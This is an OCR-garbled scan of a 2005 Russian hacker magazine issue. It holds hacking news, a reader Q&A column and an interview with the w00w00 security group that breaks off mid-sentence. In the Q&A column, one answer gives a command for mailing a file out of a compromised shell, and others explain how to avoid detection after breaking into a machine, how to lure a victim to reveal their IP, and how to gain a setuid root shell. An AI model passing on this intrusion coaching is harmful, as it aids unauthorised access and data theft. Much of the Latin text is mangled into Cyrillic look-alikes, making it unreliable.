та. Когда админы ТІіе ѴѴеІІ обнаружили залежи хакерских 
файлов на одном из давно не используемых аккаунтов, 
они поспешили сообщить об этом в полицию, а те, в свою 
очередь, обрадовали находкой Тсугому. Наверное, это 
был самый большой склад Митника, поскольку помимо 
всего прочего, там лежали коды доступа к серверам де- 
сятков разных компаний, исходники новейших разработок 
и 20 тысяч номеров кредитных карточек клиентов провай- 
дера ІМеІсопл. К расследованию этого дела подключили 
дополнительно несколько компьютерных экспертов и мно- 
жество федеральных агентов. В сетевых местах обитания 
хакера установили ловушки, предупрежденные админы со- 
общали о малейшей подозрительной активности. Травля 
продлилась до середины февраля 1 995 г. Распутав совме- 
стными усилиями сложный клубок оставленных следов, 
преследователи все-таки определили местонахождение 
Кевина Митника, и 1 5 февраля в середине ночи он был 
арестован на квартире в городе Ралейх. По совокупности 
обвинений ему грозило около трехсот лет тюрьмы. Судеб- 
ные разбирательства растянулись на 4 года, но уже в ян- 
варе 2000 года хакер был досрочно освобожден за хоро- 
шее поведение. Ему запретили еще в течение полутора 
лет пользоваться компьютерами, сотовыми телефонами и 
даже некоторой бытовой техникой. И только в январе 2003 
года суд позволил ему вновь подключиться к Сети. 

Получив долгожданную свободу, Кевин Митник 
первым делом заявил, что раз и навсегда завя- 
зал со своим преступным прошлым, и теперь го- 
тов встать на сторону компьютерных защитников. 
Создав собственную фирму "ОеТепзіѵе ТЫпкіпд", 
бывший хакер предоставляет услуги в области 
іпіегпеі зесигііу и вовсю старается искупить грехи 
трудом. В прошлом году вышла его книга "ТНе Агі 
оТ йесербоп", в которой рассказывается о соци- 
альной инженерии и тех способах, которые ис- 
пользуют хакеры для получения секретной ин- 
формации. Кажется, Кондор, наконец, остепе- 
нился. Но надолго ли его хватит на этот раз? 







Юниксоид 


6 


Х-Стиль 


7 


Кодинг Юниты 


91 


Оиі+> 


49 













|<Раде 050>| 



ХАКЕР\№51 \Март\2005І 



Взлом 



][ МЕШ 



тіпсІѵѵОгк 






ГДЕ БОЛЬШЕ КИБЕРГАДОВ? 



В то время как террористы зверствуют в риаллайфе, подрывая небоскребы 
и взрывая жилые кварталы, их виртуальные коллеги тоже не сидят без де- 
ла. С каждым годом число атак в Сети стремительно растет. Чтобы подвес- 
ти итоги второй половины минувшего года, компания Зутапіес - мировой 
лидер в борьбе с кибертеррористами - выпустила доклад «Зутапіес’з дІоЬ- 
аі Іпіегпеі Зесигііу ТІггеаІ Вероіі», где раскрыла главные места скопления 
этих самых хакеров. Золотую медаль отхватила старая добрая Америка, на 
счету которой 35,5 процентов всех зафиксированных атак. Следом за ней 
марширует Южная Корея со своими 12.8%, а третье и четвертое места за- 
нимают Китай и Германия (6.9 и 6.7 процентов соответственно). Вот такая 
вот она, страна свободы и чизбургеров. Хотя, удивительного тут ничего нет. 
В США каждая вторая семья имеет компьютер с доступом в интернет, и дет- 
ки там времени зря не теряют. Как заверяют спецы из Зутапіес, самые 
распространенные гадости на просторах инета - вири. Их развелось уже 
столько, что антивирусным докам скоро придется выделять отдельный си- 

дюк со списком одних 
только названий. При- 
мечательно, что в со- 
отношении 1 атака на 
1 000 юзеров абсолют- 
ным лидером являет- 
ся Южная Корея. 
Обидно за нашу дер- 
жаву. Парни, ну вы 
это, поднапрягитесь 
что ли. А то ведь не 
попали даже в первую 
двадцатку! :) 



ДЕРЖИ ТРОЯНЫ БЛИЖЕ К САЛУ! 



Цивильные законы начинают потихоньку доползать и до Украины. Недавно 
Кабинет Министров Вильнои Дэржавы внес в правовой кодекс поправочку, 
касающуюся применения или распространения девайсов и софта, способных 
причинить вред компьютерным системам. Вредом считается даже просто не- 
санкционированное вторжение. Теперь за такое хулиганство можно лишиться 
писюка (компа в смысле) или даже сесть за решетку. Все изменения внесе- 
ны в соответствии с положениями Международной Конвенции о киберпрес- 
туплениях. Мне, как законопослушному представителю Незалежной Украины, 
остается только порадоваться желанию наших верхов не отставать от всего 
цивилизованного мира. И погоревать, что вступление в цивилизованный мир 
пока проявляется только в уголовных законах. 



ВЕЛИЧАЙШЕГО хакера всех времен и народов хакнули 



Как известно, недавно Кевин Митник обрел окончательную свободу. Ему, 
наконец, разрешили юзать инет, звонить по мобиле и вообще занимать- 
ся, чем заблагорассудится в рамках закона. Бывший хакер организовал 
свою компанию ЭеТепзіѵе ТГііпкіпд и, пользуясь былой славой, предос- 
тавляет услуги в сфере сетевой безопасности. Но не успел Кев в полной 
мере насладиться сетевым прогрессом, как тут же получил пинка. Вер- 
нее не он, а его сайт, который хакер по имени ВидВеаг дефейснул нака- 
нуне февраля. Взломщик оставил послание, адресованное легендарному 
хакеру: «Добро пожаловать на свободу, мистер Кевин. ВидЬеаг хочет вам 
сказать, что вы плохо поработали над безопасностью вашей системы. 
Было очень весело и легко ее поиметь :)». 

Очень похоже на заметки, которые сам Митник оставлял администраторам взло- 
манных им серверов. Что туг сказать? Как аукнется, так и откликнется. Хе-хе. А 
прокомментировал Кев это так: «У меня еще не было времени поиграть в веб- 
мастера, но, кажется, придется. А вообще - это забавно. Хакеры считают, что ес- 
ли они могут хакнуть Кевина Митника - они короли горы». Кстати, недавно 



Оеіасе сайта компании Кевина Митника ■ 
Оеіепзіѵе ТМіпкіпд 



ЗАБЕЙ НА ЕВАУ 



Уже в который раз страдает от хаке- 
рских нападок крупнейший в мире 
интернет-аукцион ЕЬау. И дефейси- 
ли его, и крякали во все дыры. А те- 
перь вот какой-то умелец упер сек- 
ретную инфу по юзерам. Причем са- 
мым банальным способом. Этот пе- 
рец разослал клиентам ебея письмо, 
где от имени службы техподдержки 
аукциона сообщил о закрытии их 
личного счета до тех пор, пока они 
не назовут номера своих кредитных 
карт и не выдадут другую полезную 
инфу. В конце мессаги шла ссылка 
на форму, где нужно все аккурат- 
ненько заполнить. И ведь заполняли! 
Эх, уж сколько раз твердили миру... 
Правда, нашлись и умные люди - по- 
чуяли неладное, сообщили куда сле- 
дует. За дело взялись спецы из ФБР 



сІеТепзіѵеШіпкіпд.сот 
опять был взломан, 
только на этот раз ха- 
кер оставил сообще- 
ние с просьбой взять 
его на работу в компа- 
нию. Что ни говори, а 
пользуется Кевин по- 
пулярностью. Ох, 
пользуется. 



В который раз люди ведутся 
на левую техподдержку 



и тут же отправились в университет Северной Каролины, на компь- 
ютере которого примостилась страничка с пресловутой формой. Та- 
мошний народ сделал большие глаза и убедительно заверил в своей 
непричастности. Да и студенты у них все - исключительно цивилизо- 
ванные и воспитанные личности, не то что эти гадкие хэккеры. За те 
часы, когда пага существовала на серваке американского вуза, тем- 
ная лошадка успела собрать несколько анкет и слить деньги на пи- 
во. И учитывая, что следов взломщик не оставил практически ника- 
ких, найти его ребятам из ФБР будет ох как проблематично. 



ТРЕТЬЯ МИРОВАЯ ОБЕЩАЕТ СТАТЬ СЕТЕВОЙ 



Информационное агентство ѴѴазІгіпдІоп Розі сообщило, что Джордж 
Буш дал правительству США карт-бланш на разработку доктрины, кото- 
рая установит правила проведения сетевых атак на вражеские компью- 
терные системы. В переводе на русский это значит, что американский 
президент официально разрешил правительственным хакерам чинить в 
интернете беспредел. Будут, конечно, какие-то правила и уставы, но 
если Джонни посчитает неугодным тебя, можешь смело выбрасывать 
комп на свалку - все равно ему не жить. Обрадовавшись такому пово- 
роту событий, Пентагон принялся ваять навороченные нюкеры, кряке- 
ры и прочие запрещенные утилы, за юзанье которых нас, простых 
смертных, и посадить могут. В самом деле, зачем лишний раз топливо 
в самолетах тратить, когда можно и без бомб вырубить через Сеть важ- 
ные объекты. Теперь вполне возможно, что американские паѵу зеаіз и 
прочие спецназы станут не нужны, а их место займут молодые умные 
ребятки, которые будут проводить настоящие крупномасштабные сете- 
вые войны. Это вам не Лукасфилм, товарищи, это вам готовьтесь. Гря- 
дет компьютерный Армагеддон, черт меня подери! 



ІНьюсы 



'Реррум Ніпгігіе 
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ЖУРНАЛИСТ-ТЕРРОРИСТ И УТОЧКА КРЯ-КРЯ 




Шумиха вокруг вируса ЗІаттег, задавшего жару всему интернету, оберну- 
лась хохмой. До недавнего времени считалось, что авторы виря - исламские 
экстремисты, мстящие всем и вся во имя Аллаха. Источником этого открытия 
стал журналист Дэн Вертон, статья которого была опубликована на сайте 
СотріЛегѴѴогІсІ и вызвала много споров и размышлений. Конец им положил 
Брайен МакУильямс, признавшийся, что новость о причастности Ислама к 
ЗІаттег’у - не более чем утка, которую он подкинул Вертону. А произошло 
все так. МакУильямс, будучи журналистом, специализирующимся на сетевой 
тематике, вознамерился добыть побольше инфы о маджахедовских кознях и 
создал сайт ПагкаШІтиіаМсІееп.огд. Втереться в доверие к последователям 
Аллаха и сделать на основе переписки с ними материал - такова был благая 
цель. Но на его творение клюнул собрат по перу и, в свою очередь, решил 
втереться в доверие к админу сайта «Абу Маджахиду». Тоже, видать, с благой 
целью. Брайен, недолго думая, поделился с ним сокровенным: да, мол, при- 
частны, создали вирь, да и не то еще создадим. Довольный Дэн быстренько 
накатал статью и изобличил гадских террарюг. Когда весть разошлась по бе- 
лу свету, фейковый Абу решил больше не держать народ в заблуждении и 
признался в содеянном. А не фиг, типа, доверять кому попало. И то правда. 
Не фиг, Дэн. Журналисты, Дэн, должны тридцать раз перепроверять всякую 
инфу. Ведь из-за тебя и мне пришлось это написать :). 



ЗАЛЕПИ ГЕЙТСУ ТОРТОМ: ДУБЛЬ ДВА 



Ноэль Годэн ничем особен- 
ным не примечателен. Он не 
изобретал каких-то невероят- 
ных вещей, не снимается в 
блокбастерах и не исполняет 
музыкальных хитов. Но его 
поступок известен и греет ду- 
шу миллионам компьютерщи- 
ков во всем мире. Это именно 
он накормил Билла Гейтса яб- 
лочным тортом во время его 
визита в Брюссель. Недавно глава МісгозоЙ снова вернулся в злачный 
город, чтобы обсудить вопросы системы Раззрогі .МЕТ. Ноэль долго 
ждал этого момента. На этот раз он не стал мелочиться и приготовил для 
дяди Билла ТРИ торта. С воздушным вкусным кремом. Упаковав подар- 
ки, он отправился на конференцию, но то ли физиономия уже примель- 
калась, то ли бельгийские полицейские стали бдительнее. В общем, не 
дали челу совершить подвиг. А жаль. Было бы весьма забавно посмот- 
реть риплей, не в обиду Гейтсу будет сказано. 




ИСПРАВИЛ ОЦЕНКУ? В ТЮРЬМУ, УГОЛОВНИК!!! 



Случай, который произошел в Турции, меня просто потряс. В одной средней 
турецкой школе в полдень зазвенел звонок, и дети во главе с учительницей 
пошли на обед. Но пока другие ребятишки кушали мясо или что там еще, 1 1 - 
летний шестиклассник Архим сообщил, что забыл свой завтрак в классе и поп- 
росил разрешения вернуться. Вернувшись, он первым делом сел за учительс- 
кий компьютер и, зайдя в оставленную открытой систему, подправил себе ус- 
певаемость по пяти предметам. Проходящая мимо математичка его примети- 
ла и поинтересовалась, что он там делает. «Дискету попросили принести», - 
сообразил пацан. Обман вскоре раскрылся, и училка, поняв, что сделал ее 
ученик, настучала в полицию. «Возмутительно! Да он самый настоящий прес- 
тупник! Да таких надо наказывать. Тюрьмой, не меньше», - голосила марьван- 
на в полицейском отделении. Ее поддержали другие педагоги и настояли на 
расправе, чтобы другим неповадно было. Закон штата гласит: «Каждый, нахо- 
дящийся в трезвом уме и твердой памяти, если вторгся в чужой компьютер и 
чего-то там злонамеренно изменил, совершил уголовное преступление и мо- 
жет загреметь в тюрягу сроком на несколько лет». Терроризируемый со всех 
сторон парнишка уже отсидел в каталажке больше недели и теперь ждет, по- 
ка сытые дяди в погонах решат его дальнейшую судьбу. Думаю, он уже не раз 
пожалел о том, что не кушал тогда со всеми, что сел за тот чертов компьютер, 
что поступил в эту школу и вообще родился на свет. А если не подумал - у не- 
го будет для этого несколько лет в какой-нибудь исправительной ко- # 
лонии для особо опасных малолетних преступников, если его приз- ^ Д 
нают виновным. Ведь, подумать только, он подправил себе оценки! Щ Д 
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Задавая вопросы, конкретизируй их. Давай больше данных о 
системе, описывай абсолютно все, что ты знаешь о ней. Это мне 
поможет ответить на твои вопросы и указать твои ошибки. И не стоит 
задавать вопросов вроде “Как сломать ѵѵѵѵѵѵ-сервер?” или вообще 
просить у меня “халявного” Іпіегпеі’а. Я все равно не дам, я жадный :) 



В одном из но- 
меров X прочитал про 
утилиту ріпд, но не по- 
нял, зачем она нужна и 
что делает. Объясните, 
пожалуйста :). 



А: Утилита ріпд посылает запрос ІСМР 
ЕСН0_ПЕ01ІЕ5Т на некоторый хост. Если точнее, 
основной задачей утилиты ріпд является выясне- 
ние состояния некоторого хоста в сети. Если хост 
принимает ЕСНО ВЕ01ІЕ5Т, то в ответ он посыла- 
ет ЕСН0_ВЕР1.У. Утилита ріпд получает этот ответ 
и генерирует статистику. Это и есть ОСНОВНОЕ 
предназначение ріпд. 



Мне друг пи- 
шет письма с адреса 
даТезѲтісгозоТТ.сот, 
как он это делает? И 
как мне послать ему 
письмо с гооТ@ТгееЬ- 
зсі.огд? 



А: Для начала рассмотрим, как происходит отп- 
равка письма, а именно, что шлет твой мейлер 
серверу. Итак, подключившись к серверу на 25 
(згтфэ) порт, мейлер посылает «НЕІ10 ту.ботаіп- 
папле.сот», где ту.сіотаіп.пате - твое доменное 
имя. Далее начинается отсылка письма «МАИ 
РВОМ: ІпахОг@сІотаіп.ги» - этой командой мей- 
лер сообщает серверу, что автором письма явля- 
ется ІпахОг@сІотаіп.ги. Потом указывается полу- 
чатель - «ВСРТ ТО: Іатег@ІатеІі05ідоѵ.ги». Те- 
перь отсылается тело письма: мейлер шлет ко- 
манду - «РАТА», а потом само письмо. Заверша- 
ется посылка письма символом «.». Вот и все. А 
теперь о менее приятном. Многие сервера прос- 
то не дадут тебе отправить почту таким образом, 
они потребуют авторизации. А найти Ореп Веіау 
сервера не так легко. Самый простой выход - 
поставить свой собственный сервер и слать поч- 
ту через него. И тогда указывай любой мыльник, 
хоть доб@оІітриз.огд :). 



<???* А что за оп- 
ция -Т у птара? Зачем 
может понадобиться 
фрагментация пакетов? ^ 






А: Ты сам частично ответил на вопрос. Опция зас- 
тавляет птар фрагментировать посылаемые паке- 
ты. Это может помочь при сканировании какого-ли- 
бо хоста за фаерволом. Просто некоторые фаерво- 
лы могут пропускать фрагментированные пакеты. 



Как можно 
узнать ИТТ человека, 
если я о нем вообще 
ничего не знаю (теле- 
ѵ фон, е-таіі и т.д.)? 



ч 



А: Никак. Пока человек не воспользуется каким- 
либо сервисом, его ІР известен только ему и про- 
вайдеру, услугами которого он пользуется. И теле- 
фон человека тебе тоже не поможет. А самый 
простой способ узнать ІР - поднять на своей тачке 
апач или какой-нибудь другой Шр-сервер. Далее 
ты просто попросишь жертву зайти на твой сайт. 
Если он зайдет, то, соответственно, засветит свой 
ІР. Тебе останется просто просмотреть логи. 



А какие есть ^ 
программы для Ьги+е- 
Тогсе'а паролей? И 
чем они отличаются? 



ч 



А: Вообще программ для ЬпМогсе’а - бесчис- 
ленное множество. ЭоИп, наверное, самый попу- 
лярный из них. Его версия существует под ник- 
сы и винды. Он умеет перебирать разными спо- 
собами: по словарю или просто перебором. 
ЮрМсгаск - виндовая программа, умеет вскры- 
вать ІМТ’шные пароли. Саіп & АЬеІ, тоже виндо- 
вая, умеет снифать пароли из сетки, перебирает 
по словарю и брутфорсом. А вообще существует 
огромное количество ЬпМогсе’ов. Основным 
параметром при выборе является скорость пе- 
ребора паролей. Поэтому, прежде чем выбрать 
самый фичастый, подумай, а не практичнее бу- 
дет взять что-нибудь попроще и побыстрее. 



Что такое 
^ зтигТ-атаки? 



А: зтиіі - это одна из разновидностей ЭоЗ 
(ОепіаІ о \ Зегѵісе) атак. Дело в том, что существу- 
ют так называемые Ьгоасісаз* адреса. И при не- 
корректной конфигурации пакет, пришедший на 
этот адрес, разошлется всем машинам в подсе- 
ти. Таким образом, каждая машина отправит 
свой ответ на запрос. А теперь представь, если 
кто-то подменит свой обратный адрес, и все па- 
кеты (а их могут послать сотни компьютеров) 
вернутся на одну машину со слабым каналом. 
Тачка просто лишится доступа к Сети. 



Если я ло- 
маю ночью, это безо- 
; паснее? 



А: Понятие безопасности при взломе крайне 
субъективно. Конечно, элементарными средства- 
ми, такими как прокси-сервер, пренебрегать не 
следует. Дело в том, что администратор вряд ли 
будет сидеть и давить ѵѵііо в консоли весь день, в 
надежде заметить, как ты бродишь по его маши- 
не. А вероятность попасть в логи одинакова как 
днем, так и ночью. Также необходимо учитывать 
разницу во времени... Если у нас глубокая ночь, 
то в некоторых странах может быть день. Поэтому 
лучше лишний раз проверить чистоту своих логов, 
чем ждать часа «X», когда все логи заснут :). 



( *'?'?'?) Вот вы все ' 
пишите гооТ, зирег- 
пользователь, иісі, дісі. 

^ А что все это значит? у 



А: В многопользовательских системах суще- 
ствует идентификатор пользователя и иденти- 
фикатор группы. Эти идентификаторы и есть 
иісі (изег ісі) и дісі (дгоир ісі). Права пользовате- 
ля определяются именно по ним. В ШХ-по- 
добных системах пользователь с иісі равным 
нулю называется зирег- пользователь, так как 
для него отсутствуют ограничения в системе. 
Это и есть всем известный гооі 
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Есть ли ана- 
лог хЗНагех под 
Ыпих/ВЗС)? И вооб- 
ще, каким софтом 
сканят шары из-под 
^ этих систем? 



А: В свое время существовал проект - рапсіога. 
Это был очень неплохой сканер. Создавался он 
под две оси: ѵѵіпсіоѵѵз и Ііпих. А если во фрюхе 
поставить линуксовые модули, то и в ней зарабо- 
тает. Также существуют еще две очень неплохие 
утилиты: пЬаисМ и пЫзсап. Первая запрашивает 
доступные шары с компа, пытается подобрать па- 
роли и проверяет доступность шаров на чте- 
ние/запись. Вторая утилита позволяет выяснять 
МеШіоз-имена машин. А используя две утилиты, 
Ьазіп и зтЬсІіепі, можно написать скрипт, кото- 
рый будет сканировать диапазон ІР, находить в 
нем шары и при помощи зплЬсІіепІ скачивать ин- 
фу на локальную машину. 



Недавно на од- 
ном сервере раздавали 
шеллы. Я себе взял 
один. Захожу, вроде 
все нормально. Пове- 
сил ^опп , а / еще хотел 
сканер повесить, а сис- 
тема ругнулась: 

«ипаЫе То Тогк». Что 
^ это значит? 



х 



А: Обычно на шеллах, на платных и бесплатных, 
есть ограничение на количество запущенных 
процессов. Очень вероятно, что на твоем хостин- 
ге стоит ограничение в один фоновый процесс. 



У меня пробле- 
ма. Мне надо с шелла 
утянуть файл, а там 
нет никаких сервисов 
кроме 55ІѴа. Как мне 
к быть? 



А: Помимо стандартных способов, вроде Йр на 
себя, а потом риі, можно попробовать отправить 
файл по почте. Если это текстовый файл, то вво- 
ди такую команду: са* ДіІепате|таіІ 

тутаіІ@хакерІп05іхакерб0таіп.огд. Это один из 
самых простых методов. Можно таким же обра- 
зом пересылать и бинарные файлы, просто 
предварительно воспользуйся ииепсосіе. Другой 
способ - попробовать запустить сервис Йр на 
порт выше 1024 и пользоваться им. 



Что такое зиісі > 
^ ЬіТ и зачем он нужен? , 



X 



А: Надо отметить, что помимо иісГа и дісГа, суще- 
ствуют еиісі и едісі. Они определяют права, с кото- 
рыми запущено приложение. При выставлении 
зиісі бита, приложение будет запущено с правами 
владельца файла. Например, если руг сделает 
программе Ьазіп владельца гоойѵѵііееі, а потом 
сіітосі +з Ьазіі, то при запуске ЬазЬ мы получим 
юо\ шелл. Многим сетевым сервисам необходи- 
мо устанавливать зиісГный бит, так как они долж- 
ны обращаться к портам <1024. Также бывает, 
что на некоторых разделах диска нельзя созда- 
вать зиісГные файлы. Это связано с тем, что дан- 
ный раздел был смонтирован с опцией позиісі. 



ТТохакал я од-^ 
ну тачку, работающую 
под РгееВЗС). Сменил 
рутовский пароль, но 
при попытке зайти че- 
рез ТеІпеТ ничего не 
вышло... Что же я неп- 
^ равильно сделал? > 



А: Самая главная ошибка - смена пароля руту. 
Этого делать было не надо. И теперь взлом за- 
метят точно. Рут просто не сможет войти под 
своим паролем. Что же касается входа через 
Іеіпеі, то вполне вероятно, что виртуальным 
консолям запрещено работать с пользователя- 
ми, у которых иісі равен 0 (гооі). 




тпісн 



Обнаружил забавный баг в ІСО 2000Ь, позволя- 
ющий прописывать в СопШ І_із1 тех юзеров, 
которые этого не желают (требуют авториза- 
цию). Если один из них добавил тебя в свой 
контакт-лист (ты получил об этом соответству- 
ющую мессагу), то он попал :). В смысле, в 
твой контакт-лист :). Перезагружаешь аську и 
вызываешь Зузіеш І\Іо1ісе->НІ5Іогу апб ОиІЬох. 
Там находишь искомое событие и, щелкнув на 
нем правой кнопкой мыши, видишь "АсІсІ Іо 
СопМ ШзГ. Самый кайф в том, что эта над- 
пись теперь не серая, а черная! :) 

Міке 

тпЬ76@ШтаіІ. сот 
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СОѴЕВ 5ТОКѴ 

Зрііггіег СеІІ 

ѴѴагСгаЙ III: 

ТНе Ргогеп ТІігопе 

Первое знакомство с существами, героями 
и заклинаниями масштаб-ного адд-она к 
самой популярной игре прошлого года. 

ЗРЕСІАЬ 

Царь и Бог компании І_іопЬеасІ 
Питер Молинье готовит новую волну 
виртуальных тварей... и планирует сделать 
вас киномагнатом. 

МЫСЛИ ВСЛУХ 

Жанр риггЫуре зігаіеду 
Вселенная Х-СОМ 
2002 глазами очевидца 

ЭКСКЛЮЗИВ 

Наиболее подробно огрядущих российских 
хитах: "Периметр", "Князь 2", Хепиз 

ІІпгеаІ 2: ТНе Аѵѵакепіпд 

Летаргическое пробуждение. 

Соттапсі & Согщиег: Сепегаіз 

Вынесение самого тяжкого приговора: 
НИКАКАЯ. 

ТЕСН 

Тестирование: Пронзи диск лазерным 

лучом. Крякнутый кейс. Первый взгляд: Как 
мы победили монитор АОС І.М520А. АВІТ 
Зііиго ѲР4 ТІ4200-8Х ОТЕ5. Ріехіог 
РІехѴѴгКег 48/24/4811. 

А также: новости, ргеѵіеѵѵ, геѵіеѵѵ, І_оасІіпд, 
советы по прохождению игр, топ 20, 
Игровой трубопровод, Российский игровой 
трубопровод и т.д. 
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Хай, ЗНок! Ну что, готов к расстрелу? :) 

Збок: Еще бы. Давай, что там у тебя? 

Для начала в общих чертах расскажи о группе. 
Как все началось, как преображалось и что ѵѵООѵѵОО 
представляет собой сейчас? 

Збок: Началось все в 1998 г., когда мы с прияте- 
лем решили сделать себе приватный форум для 
общения, где можно было вместе обсудить вопро- 
сы сетевой безопасности. Со временем дискуссия 
разрослась, и мы пригласили поучаствовать в ней 
знакомых ребят. Темы обсуждались актуальные, 
беседы велись продуктивные, и наши ряды посте- 
пенно пополнялись новыми умными людьми, кото- 
рых приводили активные обитатели форума. При- 
глашение всегда было единственным способом 
попасть в команду. Если кто-то из нас приглашает 
другого человека - это значит, что он ручается за 
него, полностью ему доверяет и считает, что этот 
человек может принести пользу остальным. 
ѵѵООѵѵОО вообще держится исключительно на дове- 
рии. Ведь как можно обсуждать с людьми, которых 
не знаешь или в которых сомневаешься, важные 
вопросы и серьезные исследования? 

Кстати, не думаю, что ѵѵООѵѵОО сейчас можно на- 
звать группой. У нас не осталось даже официаль- 
ных членов. Мы скорее компания друзей, сплочен- 
ная вокруг форума. 

Говоря форум, ты имеешь в виду ѵѵѵѵѵѵ-форум 
или ІВС? 

Збок: ІВС. 



И сколько народу у вас там обычно тусуется? 
Какие темы обсуждаете? 

ЗГіок: На форуме постоянно находится более 30 
человек, хотя некоторые могут быть в статусе 
[аѵѵау] (обычно из-за разницы во времени). Обсуж- 
даем всякое. Например, если кто-то занимается 
исследованием в какой-то области и столкнулся с 
определенной проблемой - он может поделиться с 
нами, и мы подумаем над ее решением вместе. 
Или, если один из участников нашел новый баг - 
мы можем вместе написать эксплоит. Недавно об- 
суждали этику хакерства и области исследований 
для членов ѵѵООѵѵОО. Кстати, в результате таких вот 
дискуссий появилась наша статья по "беар оѵег- 
ІІоѵѵ", а также документации по уязвимостям АОІ_ 
ІпзШ Меззапдег и Эаіпеі ігссі. 

Вы общаетесь исключительно на форуме, или, 



бывает, выбираетесь на риаллайфовые тусовки? 
Збок: Конечно, выбираемся! Мы периодически 
проводим коллективные встречи, которые называ- 
ем ѵѵООсІіпег. Это просто здорово, когда есть воз- 
можность встретиться с друзьями и просто пооб- 
щаться. Чаще всего мы собираемся на крупных 
зесигііу-конференциях типа Эекюп. Я до сих пор с 
удовольствием вспоминаю о совместном обеде в 
Лас-Вегасе и недавней встрече в Сан-Франциско. 
Это всегда весело и интересно. 

Сколько людей сейчас в вашей команде? Рас- 
скажи немного о коллективе. 

Збок: Точное количество членов мне неизвестно, 
но что-то около 30-40. Все - очень талантливые, 
умные ребята. Большая часть народу из США, но 
есть мемберы из Европы, Австралии и нескольких 
других стран. Средний возраст в ѵѵООѵѵОО - около 
24. Самому младшему участнику 1 9 лет, самому 
старшему - за 30. 

А из России много у вас ребят? 

ЗГіок: Из тех, кто принимал участие в дискуссиях 
на форуме - трое (хотя, я их вижу не так часто): 
зігапіег, зоіаг сіезідпег и ТгееІзсІ. 

У ѵѵООѵѵОО есть организатор? Какая вообще об- 
становка в группе? 

ЗГіок: Никакой официальной структуры, строгих 
правил и лидера у нас нет. Каждый занимается 
своими делами. Любой, кто получил доступ к фо- 
руму, имеет право публиковать свои работы под 
маркой ѵѵООѵѵОО и представлять интересы группы. 
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Когда я, пытаясь узнать побольше о мире компьютерной безопасности, спрашивал знающих людей, 
какая зесигііу- группа самая авторитетная - мне отвечали: "ѵѵООѵѵОО". Когда я спрашивал, какая самая 
большая и влиятельная - мне отвечали "ѵѵООѵѵОО". Мне отвечали "ѵѵООѵѵОО", когда я даже не успевал 
закончить свой вопрос. А теперь угадайте, кто у нас сегодня в гостях? :) 

Рассказать о группе я попросил одного из ее создателей, человека, для которого ѵѵООѵѵОО - не просто название. 
Это молодой, талантливый парень, о котором, я уверен, мы наверняка услышим еще не раз. Встречайте - ЗІіок 


















Если, конечно, это не задевает каким-то образом 
других участников. 

Были случаи, когда вы кого-то выгоняли из ко- 
манды? 

ЗІіок: Я вспоминаю только один такой случай. Про- 
изошло это потому, что с тем человеком было 
трудно найти общий язык, и многие ему просто не 
доверяли. А если в ѵѵООѵѵОО есть хоть один человек, 
которому не доверяешь, нарушается одно из усло- 
вий, при которых в группе так здорово - возмож- 
ность откровенно поговорить. Впрочем, через не- 
сколько месяцев, инцидент был исчерпан и тот па- 
рень к нам вернулся. 

Многие считают ѵѵООѵѵОО одной из самых авто- 
ритетных зесигііу-групп по уровню знаний. Сам ты 
как оцениваешь профессионализм своих сотовари- 
щей? 

ЗІіок: Уровень в команде, конечно, разный, но 
большинство, я думаю, достаточно квалифициро- 
ванные специалисты. Правда, не всех приглашали 
из-за углубленных знаний. Были случаи, когда мы 
принимали человека, только начинающего изучать 
компьютерные технологии (естественно, не полно- 
го чайника), но обладающего какими-то полезны- 
ми навыками или просто симпатичного всем нам. 

А кто придумал название команды? ѵѵООѵѵОО что- 
то обозначает, есть в нем какой-то подтекст? 

ЗІіок: Нет. Название родилось в результате шутли- 
вой болтовни на форуме. Я уже даже не помню, о 
чем тогда был разговор. Просто слово нам понра- 



вилось, и мы решили себя так окрестить. А что, 
имхо, очень даже звучит. ѵѵООѵѵОО! :) 

Вы поддерживаете связь с другими зесигііу- 
группами? 

ЗІіок: В мире много команд, с которыми мы состо- 
им в хороших отношениях или которые просто ува- 
жаем. Думаю, наиболее близки нам ребята из 
ТЕЗО и НЕВТ. Многие из нас также состоят в груп- 
пе АОМ. Но, похоже, ЮМ прекратила активность 
или ушла в андеграунд. Есть у нас, конечно, и про- 
тивники. Например, организация РНС, которая не- 
годует по поводу того, что мы именуем себя ѵѵііііе 
ІіаГами и негативно воспринимает наши публич- 
ные доклады об уязвимостях. 

Насколько мне известно, то, чем занимается 
ѵѵООѵѵОО, больше смахивает на природу дгау Ііаіз. 
ЗІіок: Возможно. Но мы все-таки более известны, 
как команда ѵѵііііе ІіаГов ;р. Хотя, наверное, не сто- 
ит однозначно относить нас к какой-то конкретной 
категории. В рядах ѵѵООѵѵОО много людей, каждый 
из которых занимается тем, что ему по душе. 

Какое количество найденных багов вы оставляе- 
те в стороне от компьютерного мира? Через какое 
время вы сообщаете о новой уязвимости? Почему 
одни дыры становятся достоянием общественнос- 
ти, другие - нет? 

ЗІіок: Все зависит от ситуации. В прошлом мы 
иногда вообще не связывались с компанией-раз- 
работчиком. Сейчас стали уже более ответствен- 
ными и прежде чем выложить информацию в ин- 
тернете, связываемся с компанией и даем ей вре- 
мя залатать дыры. Если, конечно, они соглашают- 
ся с нами сотрудничать. 

А какая у компаний обычно реакция, когда вы 
им сообщаете про дырявость их софта? 

ЗІіок: Большинство из них все-таки заботятся о бе- 
зопасности своих продуктов и встречают нас дру- 
желюбно. Но бывают и исключения. Примером вза- 
имодействия с разработчиком может послужить не- 
давний инцидент с МісгозоЙ. Один парень, не явля- 
ющийся членом ѵѵООѵѵОО, обнаружил уязвимость в 



Мае ОЗ X Ойісе, после чего связался с техслужбой 
поддержки продукта и сообщил о своей находке. 

Но сотрудники МісгозоЙ не ответили и никак не 
прореагировали. Тогда вмешались мы. Это случи- 
лось как раз через пару месяцев после выхода на- 
шего доклада по уязвимости АОІ_ ІМ. Мы отправили 
в техподдержку документацию, содержащую ин- 
формацию обо всех найденных в "Офисе" дырах, и 
сообщили парням из МісгозоЙ, что собираемся за- 
пустить ее в Сеть, если они не позаботятся о за- 
платках. А заодно поинтересовались, почему они 
проигнорировали предупреждение ЭозМа (так зовут 
парня, который первым обнаружил уязвимость). В 
зесигііу-отделе корпорации пытались навешать, что 
они ничего не получали и вообще не знают никако- 
го ЭозМа. Но у него сохранилась переписка с со- 
трудниками корпорации. В общем, под конец пар- 
ни из МісгозоЙ сказали, что у них, мол, это произо- 
шло в результате внутренних междоусобиц, и они 
готовы приступить к латанию дыр :). 



Кто-то делал дефейсы сайтов от имени ѵѵООѵѵОО? 
Вы... ээ... проверяете на прочность военные и пра- 
вительственные компьютерные системы? 

ЗІіок: От имени ѵѵООѵѵОО дефейсов никогда не было 
и не будет - это не то, чем мы занимаемся. Мы 
